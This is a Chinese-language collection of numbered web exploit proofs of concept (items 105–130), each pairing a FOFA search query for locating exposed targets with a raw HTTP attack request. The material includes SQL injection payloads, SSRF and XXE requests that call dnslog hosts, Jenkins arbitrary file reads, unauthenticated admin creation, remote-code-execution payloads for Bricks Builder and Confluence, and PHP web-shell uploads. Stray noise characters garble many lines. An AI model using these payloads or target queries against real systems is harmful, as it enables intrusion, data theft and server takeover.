4 P+ c' N9 S* y" b7 @( PPOST /cgi-bin/cstecgi.cgi HTTP/1.1
! ~" Y* d; ~- fHost:192.168.0.1
Content-Length:41
8 C" D6 ~# e, a2 I% ?Accept:application/json,text/javascript，*/*;q=0.01
7 X2 v/ [2 ]* ?. VX-Requested-with: XMLHttpRequest
& m9 ]/ v- S, B% N1 o( H( @User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
, B4 W. J! k( m/ Z/ d, M% IContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
. s( ~0 s$ j. D2 mAccept-Encoding:gzip,deflate
+ j0 i" b4 Q8 K" V/ N; o9 c9 jAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
6 B+ b. }3 H: w6 q+ K' g
- V6 x4 [# \/ y/ n: a: a& O; Y{
" d8 g2 \/ B: s"topicurl":"getSysStatusCfg",
"token":""
}
# ?; Q  \0 w- j' ]% W3 V  Z+ `
105. SpringBlade v3.2.0 export-user SQL 注入
8 x  g2 {, [  E( n3 X( _: ~FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
- o/ G9 X  Y/ x& [; X) q1 w, q. qFOFA：body="Saber 将不能正常工作"
; {0 w( N. b4 X0 O6 cGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
* B: ]: C0 H" ]: [# U* d6 p* _" H% jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 p5 s$ w; ~. NBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
: @( I# ~+ Q! I, |8 M7 [4 dAccept-Encoding: gzip, deflate
" W$ @- s. a+ S, |( a; HAccept-Language: zh-CN,zh;q=0.9
* c. N; _% Y) P; q- S% Z% pConnection: close

1 i- k7 X7 d+ g+ [# j
107. SpringBlade tenant/list SQL 注入
. M$ T- I4 W8 z* a2 L8 F. @FOFA：body="https://bladex.vip"
3 O/ ]/ Z3 V. v& R' mGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
. o4 Y- o% ^) ~+ v' i8 ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( L  y' V  g& t2 j2 E4 RBlade-Auth:替换为自己的
! u3 `6 y  T1 P3 k; u4 pConnection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
% f+ |, A2 ^( e. j" vFOFA："dtale/static/images/favicon.png"
7 H2 ~6 s2 x* ?+ |, i6 Q) H& hGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
6 |7 o) |3 G1 {Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" u9 q/ t6 \1 x9 J2 E; @& c/ oAccept-Encoding: gzip, deflate
* r0 A9 G2 h" I) |! ~% ^9 AAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 u( H: _1 y- [' ~) P" EConnection: close
7 f! F2 j% }% e" e8 r
  U5 h: H3 p: I
109. Jenkins CLI 任意文件读取
5 g1 J# i% s: ^: ]0 Q+ }CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
7 K# p; V8 s6 U: p6 ?, ~Host:
. g4 g& K* k. z' j2 _$ R, DContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
& o& {; B; C' o5 WSide: upload
Connection: keep-alive
Content-Length: 163
3 u6 v! O% j& e. X
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
% h8 V& b, |3 J- uSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
/ v7 h# S# e) L  i

1 {5 s% c- N- F) Y7 zERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
3 m' q, H4 Z8 U* H1 u! b# }[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

" \! ^, }3 M8 H- l8 p, Q! @
, w/ G8 n& Y, P$ s+ n: }110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
8 e- Z5 W# {5 |4 _3 ?, T7 DFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
4 A/ w& T8 L. i. ]' ~Host: 192.168.40.130:8000
2 X' Z+ a* @6 mUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
. Y0 |5 m) z$ c( yConnection: close
6 H, r, U) e! Z# {" \4 pAccept: */*
3 s) C$ ^5 s* Q5 vAccept-Language: en
Accept-Encoding: gzip
6 ]: r" l1 a3 W# g9 v2 M9 H! d( v
. r$ R. ^3 x. S7 A
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
/ ~8 D- h) l9 NFOFA："wordpress" && body="html5-video-player"
$ _2 L  j2 E- C) K: nGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
/ C1 M3 K* B2 N! |5 ~' |Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
' \- t6 b3 C, x8 X" C; Y+ P! cAccept: */*
+ l' _) r* K  r- N7 y6 l/ ^- }Accept-Language: en
Accept-Encoding: gzip

& f1 L# I& _8 Y5 J+ _
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
0 f8 p- Y$ A$ l% O8 wPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
" H2 Z% w1 {& d9 K' k2 yContent-Type: application/json

0 N4 h* J3 F. c, K{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
/ P9 h2 J/ t4 a( `4 v, N  E) P( AFOFA："/wp-content/plugins/wp-automatic"
3 t5 l$ n" w. Z/ k( ]GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
' o5 X  E5 X+ |' Y  z& c" PHost: x.x.x.x
+ F% v( I1 W: w4 K1 ^: n4 R2 RUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
3 W6 H( @  d" D+ T4 X! SConnection: close
Accept: */*
Accept-Language: en
$ D0 O1 p/ J% {. vAccept-Encoding: gzip
# l. s# ]# K. P/ j; r
6 x& c; A9 |$ a! _" e* `/ k. M
/ H) i) M6 H, m% y( o# u* X" h0 U& |114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
3 I& J9 t, M; n4 e8 d) fGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
9 K0 a% p, l& \2 rHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
& M$ I: y8 F6 w9 Z* AAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
. W7 `/ j! ~8 q9 HConnection: close
7 Z" g1 U) z/ x

115. WordPress Bricks Builder <= 1.9.6 RCE
! z  X1 I* D+ G5 v/ k4 qCVE-2024-25600
% g4 }! k# E7 q" pFOFA: body="/wp-content/themes/bricks/"
6 K( m! V' r4 w/ ]第一步，获取网站的nonce值
GET / HTTP/1.1
  j7 Q* I* O8 dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
: C( G6 \( F9 B4 v" g" IAccept-Encoding: gzip
& j4 I1 A& R9 ?
4 i2 n5 \  E0 W% }+ {
" C7 h- N6 j. A: B' g* l  t. {第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
9 k7 `* U& e  o+ E" D3 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
3 T$ w, Q) R, qAccept-Encoding: gzip

{
"postId": "1",
: V  Z5 d( m& s  J  "nonce": "第一步获得的值",
! a2 D0 X) ?( d: r! v. u  "element": {
0 B; Z- g2 E# O( G# ?! e% X, X  [; {; v    "name": "container",
1 C% f, j! _$ X- d6 f/ }% s4 q& @    "settings": {
6 U# X3 ~# {1 ~# S      "hasLoop": "true",
. i0 K7 U" O* W, s$ u      "query": {
        "useQueryEditor": true,
/ B- M% ]2 `& g6 V! u4 w4 ^        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
- \, b2 i$ t3 ^/ D7 a2 ~  C        "objectType": "post"
      }
" M4 Q  `9 n# `- o    }
/ G9 a: i: F" N3 F  }
' L+ K6 ^% X9 l1 Y4 W% G}
/ s5 f' q" f2 q6 M

4 a0 l( ]: n' n1 N/ }116. wordpress js-support-ticket文件上传
( @% b. N! }! h4 FFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
  p3 H% ?6 o7 t; L8 \Host:
9 F3 v  U) d5 L, E7 Q3 I" iContent-Type: multipart/form-data; boundary=--------767099171
; t, m5 J. q) p  b3 j1 p5 kUser-Agent: Mozilla/5.0
9 r" P7 ]" d) O% c! }% ?
* t% E% a# P9 h& V( g# E+ ]----------767099171
9 b, s% K1 l' b- `Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
# O+ S& j( \( }3 U" ]Content-Disposition: form-data; name="form_request"
/ {0 j" q' g6 Z! o8 D# L% ^+ R; N$ C6 vjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
( h0 |* m$ l' v" y' U, b" KContent-Type: image/png
& [- a7 z% b! h----------767099171--

% E2 ]' R6 m$ ^! k5 R! f
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
0 D; P: O# v- d' T2 ]Host: your-ip
  |! W7 Q" p! v$ R* g" rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- Q1 \9 @1 }: A" v4 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% J: G2 B, P! H* @; f, HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ \4 y$ N" K8 V9 L) @4 D4 N- VAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

; \- l/ y6 p# F5 ^
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
5 c" c# C; p5 [. h$ XFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
5 [1 x0 N$ E. S! N, v9 M" H) xHost: 192.168.40.130:8443
% E8 y3 k8 r! W2 |# w- {+ \. dCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
( Z$ \9 Z% M& m8 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
: F3 k4 v) l8 T7 q: VSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
* A6 n* u6 G/ O: C( DSec-Fetch-User: ?1
Te: trailers
Connection: close

) A5 l8 w( \7 `4 Z& l-----------------------------13979701222747646634037182887
. J- r, Z+ D; Z* U2 ^7 Q  r3 fContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

, b( _! h; Y$ u, V, Z<?php
system($_POST["passwd"]);
?>
6 A+ \0 |! s( h, Q-----------------------------13979701222747646634037182887
1 E6 ^6 D7 q  Z: \; w5 |" m* Q+ wContent-Disposition: form-data; name="txt_path"

/home/src.php
! D/ ?6 i: X2 K) \" e5 c8 K-----------------------------13979701222747646634037182887--


. v' O+ d' d# B1 Y8 \3 t访问/home/src.php

9 j; n4 |5 [) K! C; s5 z119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
, Y* _6 a$ }: @6 x" ?FOFA：title="Smart管理平台"
8 I+ ~( @: J/ Q3 X+ j* `0 k先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
$ c- o# Z# d" }Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
: y: t% R2 M" B4 w, `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
6 l( E& I7 u. K2 q* l- }. x& BSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
. T7 ^- c/ u9 N% T" ]/ C( FX-Remote-Addr: 1.1.1.1
Te: trailers
. R5 }2 N- U* D$ @' R' kConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

* G& S6 I5 i6 T
5 ^6 v4 `. P# I* A; \/ [120. 北京百绰智能S40管理平台导入web.php任意文件上传
- Z0 C' Q% j2 t( cCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
4 K8 K8 T3 s& x+ S' Y! {9 LHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" g" `* v! U" y$ t  S. PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ y5 ^5 J4 c7 e) w) K1 Z5 L" BContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
- [: _4 r9 G  U; z$ e! VContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
% S1 |. ^. ^% b& b, z! `: ESec-Fetch-Dest: document
. {( L. F" K* g  sSec-Fetch-Mode: navigate
. Z/ }8 ^( s1 L/ J  I" D- tSec-Fetch-Site: same-origin
) g4 k" b$ ~5 t8 A- nSec-Fetch-User: ?1
" N, t9 |7 _3 ]3 h  u. H- T% PTe: trailers
. p1 T+ @5 a% @, H7 lConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

& O5 @+ y) M4 t9 o! ^7 J8 y<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

0 N6 ]! x3 @/ t! }9 H8 |5 Q1
+ c. I$ T' L7 O# s8 D3 ?7 ~- P% c-----------------------------42328904123665875270630079328
: X" [8 j" d4 q- P- s4 vContent-Disposition: form-data; name="1_ck"
' Z, F. I) Z0 y, \* T! [# H# K
1_radhttp
7 S: G0 V/ _8 u* [8 P' g! o-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
$ |6 I9 u) P2 l& c
+ `4 J" C0 P2 `1 Jimport
- Q" y" e$ d" O/ V-----------------------------42328904123665875270630079328
& k/ M; y0 ?& d8 I

文件路径/upload/2.php
3 g2 e  J" v( x
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
1 t: w: f  n- r. H. TCVE-2024-1918
FOFA：title="Smart管理平台"
! Z+ Y% O! B; J8 m' {. W2 _; YPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
5 D6 e- Q/ r1 p- kUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
# I6 G. ^! j5 ~( m) R- ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 G6 b: E4 E2 {2 y6 e: {' H* Z, RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. H% S) X& Z0 ^( Y: }* V0 {$ MContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& b1 E4 h5 ]( tContent-Length: 592
& G( I4 @+ [9 a; COrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
4 I* n  C  V' P% YSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
* D! H6 Y: g0 [3 S' [2 T% s0 ~8 FSec-Fetch-Site: same-origin
+ B. {0 W3 p/ b, Y2 Z1 NSec-Fetch-User: ?1
Te: trailers
Connection: close
) p/ T0 c* D4 N3 H! c; g7 P# T& S
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

* B" ]8 g: _9 t) c  ]$ R+ L* ~<?php phpinfo();?>
: c5 S' Y3 y7 f# M$ y  F5 X-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
, `+ ?& Y6 G- K, {/ P-----------------------------42328904123665875270630079328
8 v$ l0 S% l1 W! dContent-Disposition: form-data; name="1_ck"
% @8 q' J0 u* k
1_radhttp
; P/ d6 O4 b5 K, L-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
, c" o3 n; T$ J, B* I2 t( W
set
-----------------------------42328904123665875270630079328

8 o- f2 D& b$ c. e* p: G+ t! S1 X
) u. g- f2 ^3 b& F! Kboot/web/upload/weblogo/1.php
% f7 J( m: x3 ]' {' S
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
1 z" s. b& o2 N% G  R2 l其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
4 T4 ]1 L9 t" [3 ]GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
: `' \! a8 f5 I1 l( E1 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 C  e% S% D1 _, WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. v2 K5 i" T( h0 Z( v0 `2 ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 @7 |* Z; R6 VAccept-Encoding: gzip, deflate, br
0 J7 v+ x- G( B' N& l8 P) w& YUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
: ]3 P( d# k- K' y, dSec-Fetch-Mode: navigate
" U% l8 I' \, _+ I+ ?  l' R6 M6 FSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
% y/ g7 K5 m  }0 {8 U7 o2 _# E$ T1 SConnection: close

. D3 \+ Q, F* ^) o! I
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
0 Z& p6 z3 L  g4 J0 ^7 k" pPOST /template/aui/text-inline.vm HTTP/1.1
: j- a$ g2 w9 R' zHost: localhost:8090
Accept-Encoding: gzip, deflate, br
: O4 H! G7 ?# V' ?6 CAccept: */*
- Y( s  o) A; qAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
  ]) n* B: y: o1 p* wContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
" U  [5 [% u" q+ v$ ]3 P- D1 xAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
; \; G4 ]6 q; q( X" N  D6 G# rContent-Type: application/x-www-form-urlencoded

$ f1 y+ s  J5 t- L( rfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
1 R/ N4 U% ?# D3 t" q

+ }/ t2 A. I/ H+ T! ?( R4 v4 Ohttp://192.168.40.130:8282/Scripts/abcgcg.aspx
9 q; M! c( S. S# G  X
5 |% L# m  O6 j. [* l" L125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
: a7 `0 `4 W4 Cpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
7 e$ C! @3 p: E, G0 r
9 D2 H; p) U. p; P
创建好用户后直接登录后台，可以执行系统命令。
1 ]$ k( |  y' ~9 u5 b$ c
( u  i; O; c' j126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
" q4 H' h/ ?) XGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
7 p) o' M, h7 G- P8 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
) x% V( }1 a3 @Accept-Encoding: gzip

( G* V0 M! g7 b. n7 j
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
+ u# m$ Q9 I0 E' n- ?POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 m/ E+ i* ]4 W7 T$ r% m( FAccept-Language: zh-CN,zh;q=0.9
8 m3 S! k: k; O* G8 iConnection: close
6 y/ `' n, Z! K0 K7 i+ lContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
, D$ W2 s% U! d5 [Sec-Purpose: prefetch;prerender
. i, f) H2 U2 O9 b! c; L/ B( ~
8 H  B6 N! \7 f( {: `4 ?------WebKitFormBoundaryJGgV5l5ta05yAIe0
8 B/ \! I' f" b, i3 c+ `% }. R: nContent-Disposition: form-data;name="SystemName"
& X0 U2 [/ p) Y
BIM
# j9 y) k4 o9 l0 N& T, P------WebKitFormBoundaryJGgV5l5ta05yAIe0
: @) O' {: d3 z5 y" pContent-Disposition: form-data;name="Params"
  a; \2 A. x+ R, c4 A4 T9 S) mContent-Type: text/plain
& y9 R/ ^5 T: v9 P; _
<?xml version="1.0" encoding="UTF-8"?>
0 Z' M' @. w, u0 Z7 L  Y' x<!DOCTYPE test [
: }2 @5 I- m& ~1 d2 r<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

" y! N3 _+ V( y( A3 Q/ a0 ?/ G
9 N0 P* g1 a, i2 p) D7 K
3 R8 x9 k' z9 z6 ~' h) J  V128. Adobe ColdFusion 反序列化
CVE-2023-38203
% K8 w. w1 w' {0 h& s( X, ?; jAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
" W$ R! n) ^( Z, ?- H% ~: J9 \3 ~FOFA：app="Adobe-ColdFusion"
, b$ F5 A) O/ y' J& m& _/ b+ fPAYLOAD
+ P" c) e4 Q/ _8 l' Z! a
129. Adobe ColdFusion 任意文件读取
; R7 e0 _! R2 F# J1 ^CVE-2024-20767
# C0 K8 C: s  N$ D/ NFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
9 C: c2 R/ Q0 Q% M" n第一步，获取uuid
, v3 E9 u. R4 U* OGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
. h8 S  @8 T+ b7 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
! Y: [+ J1 }' ?; {) sConnection: close

  S& G* e/ `$ {' D0 W
: r8 E, F) [7 {$ x第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
6 I" Z9 s* a- D1 a# z/ FHost: x.x.x.x
8 H# s+ L8 P* T; I3 C1 p* nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
" Y* j" O/ }1 C: ~$ W, `Accept-Encoding: gzip, deflate
6 z) j9 `7 [, d  b" tConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
% t4 k5 n- N: u1 M+ _- q0 x
8 z$ e' o. j1 }! ~* H% P& [
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
